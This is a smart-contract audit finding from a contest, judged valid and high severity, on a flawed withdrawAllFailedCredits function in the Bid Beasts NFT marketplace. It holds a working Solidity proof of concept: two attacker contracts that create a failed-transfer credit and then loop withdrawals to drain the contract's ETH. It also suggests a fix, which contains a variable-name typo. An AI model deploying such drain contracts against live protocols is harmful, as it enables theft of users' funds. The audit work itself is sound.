Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Unauthorized Access & Faulty Credit Accounting in `withdrawAllFailedCredits` Enables Complete Protocol Drain


Description

Normal Behavior

When a user has a stored failed-transfer credit, calling the withdrawAllFailedCredits function should let that user reclaim their own credited ETH: the contract should read the credit for the beneficiary, clear the beneficiary’s stored credit, and transfer the funds to that beneficiary. In short — read the correct mapping key → zero the same key (effects) → send ETH to the rightful recipient (interaction).

Issue

withdrawAllFailedCredits(address _receiver) reads the credit from failedTransferCredits[_receiver] but then zeros and pays failedTransferCredits[msg.sender] (and transfers ETH to msg.sender). Because the mapping key read, the mapping key cleared, and the transfer recipient do not match, an attacker can call the function with _receiver set to a victim who has credits and receive those funds themselves; the victim’s credit remains uncleared, enabling repeated withdrawals and draining protocol funds.

Relevent Github Link: https://github.com/CodeHawks-Contests/2025-09-bid-beasts/blob/449341c55a57d3f078d1250051a7b34625d3aa04/src/BidBeastsNFTMarketPlace.sol#L238C5-L246C6

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • Publicly Exposed Function
    withdrawAllFailedCredits is external and callable by anyone. No restrictions = anyone can trigger it.

  • No Special Conditions
    The exploit doesn’t depend on rare timing, complex reentrancy, or specific on-chain state. It only relies on faulty accounting, unauthorized access, which is always present.

  • Low Cost to Attack
    The gas cost of repeatedly calling the function is small compared to the potential reward (protocol balance).

  • Repeatable Drain
    Because credits are not cleared properly, the attacker can loop calls until the contract is drained.



Impact:

  • Any caller can specify another address that actually has credits and receive those funds instead. This allows repeated theft (drain) until the protocal balance is fully drained.

Proof of Concept

An attacker created two contracts (ExploitFromSeller and ExploitFromBidder). The Seller contract listed an NFT on the marketplace but intentionally did not implement receive()/payable fallback(), so any ETH sent to it reverts. The Bidder contract calls internally to Seller contract to listNFT() after that immediately executed a placeBid (direct purchase) and became the winner. When the marketplace tried to pay the Seller, the transfer failed and the marketplace recorded the amount in failedTransferCredits[Seller]. Because the withdraw function is buggy, the attacker then repeatedly called withdrawAllFailedCredits in a loop and siphoned the protocol’s ETH.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {IBidBeastsNFTMarket} from "./IBidBeastsNFTMarket.sol";
import {IBidBeasts} from "./IBidBeasts.sol";
import {IERC721} from "../lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol";
contract ExploitFromSeller {
IBidBeastsNFTMarket private immutable bidBeastsNFTMarket;
IBidBeasts private immutable bidBeastsNft;
address private immutable i_owner;
constructor (
address _nftMarketAddress,
address _bidBeasts
) {
bidBeastsNFTMarket = IBidBeastsNFTMarket(_nftMarketAddress);
bidBeastsNft = IBidBeasts(_bidBeasts);
i_owner = msg.sender;
}
function listingNFT(uint256 tokenId, uint256 _buyNowPrice) public {
bidBeastsNft.approve(address(bidBeastsNFTMarket), tokenId);
bidBeastsNFTMarket.listNFT(tokenId, 1 ether, _buyNowPrice);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) public returns (bytes4) {
return this.onERC721Received.selector;
}
// No receive or fallback functions, Intentionally we have to reject the incoming ether. We will drain protocal balance from 'ExploitfromBidder' contract
}
contract ExploitFromBidder {
IBidBeastsNFTMarket private immutable bidBeastsNFTMarket;
ExploitFromSeller private exploitFromSeller;
address private immutable i_owner;
uint256 private s_buyNowPrice;
constructor (
address _nftMarketAddress,
address _exploitFromSellerAddress
) {
bidBeastsNFTMarket = IBidBeastsNFTMarket(_nftMarketAddress);
exploitFromSeller = ExploitFromSeller(_exploitFromSellerAddress);
i_owner = msg.sender;
}
function listNft(uint256 tokenId) public payable {
require(i_owner == msg.sender);
uint256 s_buyNowPrice = msg.value;
exploitFromSeller.listingNFT(tokenId, s_buyNowPrice);
bidBeastsNFTMarket.placeBid{value: s_buyNowPrice}(tokenId);
}
function drainTheProtocolBalance() public payable {
require(i_owner == msg.sender);
uint256 targetBalance = address(bidBeastsNFTMarket).balance;
uint256 gasStart = gasleft();
while (true) {
bidBeastsNFTMarket.withdrawAllFailedCredits(address(exploitFromSeller));
uint256 gasBalance = gasleft();
uint256 gasCost = gasStart - gasBalance;
targetBalance -= s_buyNowPrice;
if (gasCost > gasBalance || targetBalance < s_buyNowPrice) break;
}
}
receive() external payable {}
// fallback() external payable {}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) public returns (bytes4) {
return this.onERC721Received.selector;
}
}

Recommended Mitigation

This fixes the unauthorized access problem by ensuring:

  • Only the credited user (msg.sender) can withdraw their own funds.

  • Attackers can no longer withdraw credits that belong to someone else.

function withdrawAllFailedCredits(address _receiver) external {
+ require(_receive == msg.sender, "Receiver is Not Caller");
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!